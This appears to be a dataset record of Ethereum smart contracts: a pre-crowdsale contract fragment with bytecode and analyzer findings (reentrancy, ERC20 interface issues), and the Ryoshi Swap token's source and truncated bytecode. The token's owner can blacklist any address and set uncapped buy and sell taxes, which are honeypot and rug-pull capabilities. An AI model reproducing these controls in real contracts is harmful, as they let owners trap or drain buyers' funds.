preCrowdsaleEndTime = now + PRE_CROWDSALE_DURATION; } /** * @dev A backup fail-safe drain if required */ function drain() onlyOwner { if (!preCrowdsaleOwner.send(this.balance)) throw; } /** * @dev Finalizes the preCrowdsale and sends funds */ function finalize() onlyOwner { if ((preCrowdsaleStartTime == 0 || now < preCrowdsaleEndTime) && tokensSent != TOKEN_CAP) { throw; } if (!preCrowdsaleOwner.send(this.balance)) throw; crowdSaleIsRunning = false; } }
0x606060405236156100d85763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f13076181146101ee5780634bb278f314610210578063694dcecc146102225780636b4a6ded146102445780638aa35083146102665780638d0bba03146102885780638da5cb5b146102aa5780639890220b146102d65780639a6524f1146102e8578063a5a7dadf1461030a578063b0bcd8f31461032c578063be9a655514610358578063f2fde38b1461036a578063f618700614610388578063fc0c546a146103ac575b6101ec5b60065460009060ff1615156100f15760006000fd5b662386f26fc100003410156101065760006000fd5b610130670de0b6b3a76400006101243461271063ffffffff6103d816565b9063ffffffff61040716565b90506207a12061014b6003548361042490919063ffffffff16565b11156101575760006000fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a033381166004830152602482018590529151919092169163a9059cbb91604480830192600092919082900301818387803b15156101c157fe5b6102c65a03f115156101cf57fe5b50506003546101e591508263ffffffff61042416565b6003555b50565b005b34156101f657fe5b6101fe61043e565b60408051918252519081900360200190f35b341561021857fe5b6101ec610444565b005b341561022a57fe5b6101fe6104d0565b60408051918252519081900360200190f35b341561024c57fe5b6101fe6104d6565b60408051918252519081900360200190f35b341561026e57fe5b6101fe6104dc565b60408051918252519081900360200190f35b341561029057fe5b6101fe6104e3565b60408051918252519081900360200190f35b34156102b257fe5b6102ba6104ee565b60408051600160a060020a039092168252519081900360200190f35b34156102de57fe5b6101ec6104fd565b005b34156102f057fe5b6101fe610553565b60408051918252519081900360200190f35b341561031257fe5b6101fe61055a565b60408051918252519081900360200190f35b341561033457fe5b6102ba610560565b60408051600160a060020a039092168252519081900360200190f35b341561036057fe5b6101ec61056f565b005b341561037257fe5b6101ec600160a060020a03600435166105b8565b005b341561039057fe5b610398610611565b604080519115158252519081900360200190f35b34156103b457fe5b6102ba61061a565b60408051600160a060020a039092168252519081900360200190f35b60008282028315806103f457508284828115156103f157fe5b04145b15156103fc57fe5b8091505b5092915050565b60006000828481151561041657fe5b0490508091505b5092915050565b6000828201838110156103fc57fe5b8091505b5092915050565b60035481565b60005433600160a060020a039081169116146104605760006000fd5b6004541580610470575060055442105b801561048157506207a12060035414155b1561048c5760006000fd5b600254604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015156104c25760006000fd5b6006805460ff191690555b5b565b60045481565b61271081565b6206978081565b662386f26fc1000081565b600054600160a060020a031681565b60005433600160a060020a039081169116146105195760006000fd5b600254604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015156104cd5760006000fd5b5b5b565b6207a12081565b60055481565b600254600160a060020a031681565b60005433600160a060020a0390811691161461058b5760006000fd5b600454156105995760006000fd5b6006805460ff1916600117905542600481905562069780016005555b5b565b60005433600160a060020a039081169116146105d45760006000fd5b600160a060020a038116156101e9576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60065460ff1681565b600154600160a060020a0316815600a165627a7a7230582056d1193789c5dd768c0cd0046ef48b302292036fb0203805bd133a271453cb830029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,824
0x6fd0fab03cffa9d8c9fb91fd764d6638e37cd718
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ //https://t.me/ryoshiswap // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RYOSHISWAP is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ryoshi Swap"; string private constant _symbol = "RYOSHISWAP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 2; uint256 private _taxFeeJeets = 9; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xbE6be10697F85da557bAb10AD08e5F2aAbC4aD43); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 2e8 * 10**9; uint256 public _maxWalletSize = 2e8 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 2e8 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function newPair() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610668578063e0f9f6a0146106ae578063ea1644d5146106ce578063f2fde38b146106ee578063fe72c3c11461070e57600080fd5b806395d89b41146105b55780639ec350ed146105e85780639f13157114610608578063a9059cbb14610628578063c55284901461064857600080fd5b80637c519ffb116100f25780637c519ffb146105365780637d1db4a51461054b578063881dce60146105615780638da5cb5b146105815780638f9a55c01461059f57600080fd5b806370a08231146104cb578063715018a6146104eb57806374010ece14610500578063790ca4131461052057600080fd5b8063313ce567116101b15780634f6a05c2116101755780634f6a05c21461044b5780635d098b38146104605780636b9cf534146104805780636d8aa8f8146104965780636fc3eaec146104b657600080fd5b8063313ce567146103af57806333251a0b146103cb57806338eea22d146103eb57806349bd5a5e1461040b5780634bf2c7c91461042b57600080fd5b806318160ddd116101f857806318160ddd1461031c57806323b872dd1461034157806327c8f8351461036157806328bb665a146103775780632fd689e31461039957600080fd5b806306fdde0314610235578063095ea7b31461027b5780630f3a325f146102ab5780631694505e146102e457600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600b81526a052796f73686920537761760ac1b60208201525b6040516102729190612144565b60405180910390f35b34801561028757600080fd5b5061029b610296366004611fef565b610724565b6040519015158152602001610272565b3480156102b757600080fd5b5061029b6102c6366004611f3b565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102f057600080fd5b50601954610304906001600160a01b031681565b6040516001600160a01b039091168152602001610272565b34801561032857600080fd5b50678ac7230489e800005b604051908152602001610272565b34801561034d57600080fd5b5061029b61035c366004611fae565b61073b565b34801561036d57600080fd5b5061030461dead81565b34801561038357600080fd5b5061039761039236600461201b565b6107a4565b005b3480156103a557600080fd5b50610333601d5481565b3480156103bb57600080fd5b5060405160098152602001610272565b3480156103d757600080fd5b506103976103e6366004611f3b565b610843565b3480156103f757600080fd5b50610397610406366004612122565b6108b2565b34801561041757600080fd5b50601a54610304906001600160a01b031681565b34801561043757600080fd5b50610397610446366004612109565b6108e7565b34801561045757600080fd5b50610397610916565b34801561046c57600080fd5b5061039761047b366004611f3b565b610afb565b34801561048c57600080fd5b50610333601e5481565b3480156104a257600080fd5b506103976104b13660046120e7565b610b55565b3480156104c257600080fd5b50610397610b9d565b3480156104d757600080fd5b506103336104e6366004611f3b565b610bc7565b3480156104f757600080fd5b50610397610be9565b34801561050c57600080fd5b5061039761051b366004612109565b610c5d565b34801561052c57600080fd5b50610333600a5481565b34801561054257600080fd5b50610397610c8c565b34801561055757600080fd5b50610333601b5481565b34801561056d57600080fd5b5061039761057c366004612109565b610ce6565b34801561058d57600080fd5b506000546001600160a01b0316610304565b3480156105ab57600080fd5b50610333601c5481565b3480156105c157600080fd5b5060408051808201909152600a815269052594f534849535741560b41b6020820152610265565b3480156105f457600080fd5b50610397610603366004612122565b610d62565b34801561061457600080fd5b506103976106233660046120e7565b610d97565b34801561063457600080fd5b5061029b610643366004611fef565b610ddf565b34801561065457600080fd5b50610397610663366004612122565b610dec565b34801561067457600080fd5b50610333610683366004611f75565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106ba57600080fd5b506103976106c9366004612109565b610e21565b3480156106da57600080fd5b506103976106e9366004612109565b610e5d565b3480156106fa57600080fd5b50610397610709366004611f3b565b610e9b565b34801561071a57600080fd5b5061033360185481565b6000610731338484610f85565b5060015b92915050565b60006107488484846110a9565b61079a843361079585604051806060016040528060288152602001612349602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906117d0565b610f85565b5060019392505050565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016107ce90612199565b60405180910390fd5b60005b815181101561083f576001600960008484815181106107fb576107fb612307565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610837816122d6565b9150506107da565b5050565b6000546001600160a01b0316331461086d5760405162461bcd60e51b81526004016107ce90612199565b6001600160a01b03811660009081526009602052604090205460ff16156108af576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016107ce90612199565b600d91909155600f55565b6000546001600160a01b031633146109115760405162461bcd60e51b81526004016107ce90612199565b601355565b6000546001600160a01b031633146109405760405162461bcd60e51b81526004016107ce90612199565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156109a057600080fd5b505afa1580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190611f58565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2057600080fd5b505afa158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a589190611f58565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610aa057600080fd5b505af1158015610ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad89190611f58565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6017546001600160a01b0316336001600160a01b031614610b1b57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610b7f5760405162461bcd60e51b81526004016107ce90612199565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610bbd57600080fd5b476108af8161180a565b6001600160a01b03811660009081526002602052604081205461073590611844565b6000546001600160a01b03163314610c135760405162461bcd60e51b81526004016107ce90612199565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c875760405162461bcd60e51b81526004016107ce90612199565b601b55565b6000546001600160a01b03163314610cb65760405162461bcd60e51b81526004016107ce90612199565b601a54600160a01b900460ff1615610ccd57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610d0657600080fd5b610d0f30610bc7565b8111158015610d1e5750600081115b610d595760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ce565b6108af816118c8565b6000546001600160a01b03163314610d8c5760405162461bcd60e51b81526004016107ce90612199565b600b91909155600c55565b6000546001600160a01b03163314610dc15760405162461bcd60e51b81526004016107ce90612199565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b60006107313384846110a9565b6000546001600160a01b03163314610e165760405162461bcd60e51b81526004016107ce90612199565b600e91909155601055565b6000546001600160a01b03163314610e4b5760405162461bcd60e51b81526004016107ce90612199565b610e5781610e106122a0565b60185550565b6000546001600160a01b03163314610e875760405162461bcd60e51b81526004016107ce90612199565b601c54811015610e9657600080fd5b601c55565b6000546001600160a01b03163314610ec55760405162461bcd60e51b81526004016107ce90612199565b6001600160a01b038116610f2a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ce565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fe75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ce565b6001600160a01b0382166110485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ce565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ce565b6001600160a01b03821661116f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ce565b600081116111d15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ce565b6001600160a01b03821660009081526009602052604090205460ff161561120a5760405162461bcd60e51b81526004016107ce906121ce565b6001600160a01b03831660009081526009602052604090205460ff16156112435760405162461bcd60e51b81526004016107ce906121ce565b3360009081526009602052604090205460ff16156112735760405162461bcd60e51b81526004016107ce906121ce565b6000546001600160a01b0384811691161480159061129f57506000546001600160a01b03838116911614155b1561161857601a54600160a01b900460ff166112fd5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ce565b601a546001600160a01b03838116911614801561132857506019546001600160a01b03848116911614155b156113da576001600160a01b038216301480159061134f57506001600160a01b0383163014155b801561136957506017546001600160a01b03838116911614155b801561138357506017546001600160a01b03848116911614155b156113da57601b548111156113da5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ce565b601a546001600160a01b0383811691161480159061140657506017546001600160a01b03838116911614155b801561141b57506001600160a01b0382163014155b801561143257506001600160a01b03821661dead14155b1561151257601c548161144484610bc7565b61144e9190612266565b106114a75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ce565b601a54600160b81b900460ff161561151257600a546114c8906104b0612266565b421161151257601e548111156115125760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ce565b600061151d30610bc7565b601d54909150811180801561153c5750601a54600160a81b900460ff16155b80156115565750601a546001600160a01b03868116911614155b801561156b5750601a54600160b01b900460ff165b801561159057506001600160a01b03851660009081526006602052604090205460ff16155b80156115b557506001600160a01b03841660009081526006602052604090205460ff16155b1561161557601354600090156115f0576115e560646115df60135486611a5190919063ffffffff16565b90611ad0565b90506115f081611b12565b6116026115fd82856122bf565b6118c8565b478015611612576116124761180a565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061165a57506001600160a01b03831660009081526006602052604090205460ff165b8061168c5750601a546001600160a01b0385811691161480159061168c5750601a546001600160a01b03848116911614155b15611699575060006117be565b601a546001600160a01b0385811691161480156116c457506019546001600160a01b03848116911614155b1561171f576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561171f576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561174a57506019546001600160a01b03858116911614155b156117be576001600160a01b0384166000908152600460205260409020541580159061179b57506018546001600160a01b038516600090815260046020526040902054429161179891612266565b10155b156117b157600b54601155600c546012556117be565b600f546011556010546012555b6117ca84848484611b1f565b50505050565b600081848411156117f45760405162461bcd60e51b81526004016107ce9190612144565b50600061180184866122bf565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083f573d6000803e3d6000fd5b60006007548211156118ab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ce565b60006118b5611b53565b90506118c18382611ad0565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061191057611910612307565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561196457600080fd5b505afa158015611978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199c9190611f58565b816001815181106119af576119af612307565b6001600160a01b0392831660209182029290920101526019546119d59130911684610f85565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a0e9085906000908690309042906004016121f5565b600060405180830381600087803b158015611a2857600080fd5b505af1158015611a3c573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a6057506000610735565b6000611a6c83856122a0565b905082611a79858361227e565b146118c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ce565b60006118c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b76565b6108af3061dead836110a9565b80611b2c57611b2c611ba4565b611b37848484611be9565b806117ca576117ca601454601155601554601255601654601355565b6000806000611b60611ce0565b9092509050611b6f8282611ad0565b9250505090565b60008183611b975760405162461bcd60e51b81526004016107ce9190612144565b506000611801848661227e565b601154158015611bb45750601254155b8015611bc05750601354155b15611bc757565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611bfb87611d20565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c2d9087611d7d565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c5c9086611dbf565b6001600160a01b038916600090815260026020526040902055611c7e81611e1e565b611c888483611e68565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ccd91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611cfb8282611ad0565b821015611d1757